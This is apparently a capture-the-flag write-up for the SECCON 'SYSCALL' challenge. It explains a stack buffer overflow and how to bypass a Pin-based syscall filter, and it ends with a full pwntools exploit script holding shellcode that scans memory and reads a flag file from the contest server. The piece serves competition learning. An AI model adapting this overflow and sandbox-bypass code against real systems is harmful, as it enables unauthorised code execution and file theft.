I recently restarted playing CTFs. We played SECCON CTF last week and qualified for the final round. I heard many other teams solved ‘SYSCALL’, one of the challenges from SECCON, in different ways, so I decided to briefly share my approach.

The vulnerability of the challenge was very simple: Long input bytes cause stack buffer overflow and there is no non-executable stack option. So, we can execute any shellcode with jmp rsp instruction but it is not allowed to execute syscall instruction by a pintool plugin called Pinhole.

1
2
3
4
5
6
7
8
9
10
11
12
VOID check_syscall(ADDRINT rax, ADDRINT rdi)
{
    static int is_syscall_impossible = 0;
    if(is_syscall_impossible){
        PIN_ERROR("invalid syscall\n");
        exit(-1);
    }else{
        if(rax == 3 && rdi == 31337){   // sys_close(31337)
            is_syscall_impossible = ~0;
        }
    }
}

The pinhole disables system calls after calling the close(31337) invoked when finishing main function.

I just decided to overwrite the is_syscall_impossible variable. Then, we had to find the address of is_syscall_impossible located on Pinhole.so library. After wasting some time, my teammate told me that the address of pin binary is fixed, so I used pin binary to find a location of is_syscall_impossible.

root@IU:~# cat /proc/7763/maps
00400000-004b4000 r-xp 00000000 08:01 57021263                           /home/tunz/seccon/ex500/vulnserver
006b4000-006b6000 rwxp 000b4000 08:01 57021263                           /home/tunz/seccon/ex500/vulnserver
006b6000-006b8000 rwxp 00000000 00:00 0
00b9b000-00bbe000 rwxp 00000000 00:00 0                                  [heap]
304000000-3047e4000 r-xp 00000000 08:01 9443194                          /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
3047e4000-3049e3000 ---p 00000000 00:00 0
3049e3000-304a87000 rwxp 007e3000 08:01 9443194                          /home/tunz/seccon/ex500/pin-2.14-71313-gcc.4.4.7-linux/intel64/bin/pinbin
304a87000-304b13000 rwxp 00000000 00:00 0
304b14000-304b23000 rwxp 00000000 00:00 0
304b27000-304b28000 rwxp 00000000 00:00 0
304b2b000-304b66000 rwxp 00000000 00:00 0
304b66000-304b67000 ---p 00000000 00:00 0
304b67000-304b97000 rwxp 00000000 00:00 0
7f10017a7000-7f10017a8000 rwxp 00000000 00:00 0
7f10017af000-7f10017b2000 rwxp 00000000 00:00 0
7f10017b4000-7f10019b6000 rwxp 00000000 00:00 0
7f10019b6000-7f1011976000 ---p 00000000 00:00 0
7f1011976000-7f1012f65000 rwxp 00000000 00:00 0                          [stack:7763]
7f1012f65000-7f101370d000 r-xp 00000000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f101370d000-7f101390d000 ---p 007a8000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f101390d000-7f10139b3000 r-xp 007a8000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
7f10139b3000-7f10139b5000 rwxp 0084e000 08:01 57021267                   /home/tunz/seccon/ex500/Pinhole.so
...

pin binary may contain one of addresses of Pinhole.so. In my case, an address 0x304aa3008 contains an address of dynamically loaded libraries. We cannot be sure that the address always contain one of library addresses, but I just assumed that pin of the target server also contains one of addresses of libraries because my teammate’s pin did.

Although I could find one address of libraries, offset between the found address and address of is_syscall_impossible variable can be different. I handled this issue by searching addresses around a expected address that is found in my server. It took few seconds.

mov rbx, 0x304aa3008
mov rbx, [rbx]
sub rbx, [[ rough offset ]]

mov rcx, 0xffffffff
next_again:
mov rax, [rbx]
cmp rax, rcx
jz go_syscall
add rbx, 4
jmp next_again

go_syscall:
[[ shellcode ]]

I made a shellcode that searches 0xffffffff using a loop because is_syscall_impossible variable contains a value of 0xffffffff. It helps to find the location of is_syscall_impossible more quickly. You may be able to make a more reliable shellcode.

This following code is my full exploit code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from struct import pack
from socket import *
import time

context(arch = 'amd64', os = 'linux')

for i in range(0, 10000000, 500):
        t = 12500000 + i
        #sub rbx, 12513000 # Answer offset of the target server
        #sub rbx, 12622540 # Offset of my server
        f = open('input', 'wb')
        shellcode = enhex(asm('''
        mov rbx, 0x304aa3008
        mov rbx, [rbx]
        sub rbx, '''+str(t)+'''

        mov rcx, 0xffffffff
        next_again:
        mov rax, [rbx]
        cmp rax, rcx
        jz go_syscall
        add rbx, 4
        jmp next_again

        go_syscall:
        movq [rbx], 0

        movq [rsp], 0x67616c66
        movq [rsp+4], 0x7478742e
        push 0
        pop rcx
        mov [rsp+8], ecx

        lea rdi, [rsp]
        xor rsi, rsi
        xor rax, rax
        inc rax
        inc rax
        syscall

        mov rbx,rax

        lea rsi, [rsp]
        mov rdi, rbx
        push 0x7f
        pop rdx
        xor rax, rax
        syscall

        lea rsi, [rsp]
        xor rdi, rdi
        inc rdi
        mov rdx, rax
        xor rax, rax
        inc rax
        syscall

        push 60
        pop rax
        syscall
        '''))
        
        shellcode = shellcode.decode('hex')

        # 0x48a76b is an address of 'jmp rsp'
        f.write("A"*280+pack('<Q',0x48a76b)+shellcode)
        f.close()

        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('pinhole.pwn.seccon.jp',10000))
        s.send(open('input','rb').read())
        time.sleep(0.1)
        data = s.recv(10240)
        print data
        if "invalid" in data:
                print data
        elif len(data) > 0:
                print str(t)
                break
        s.close()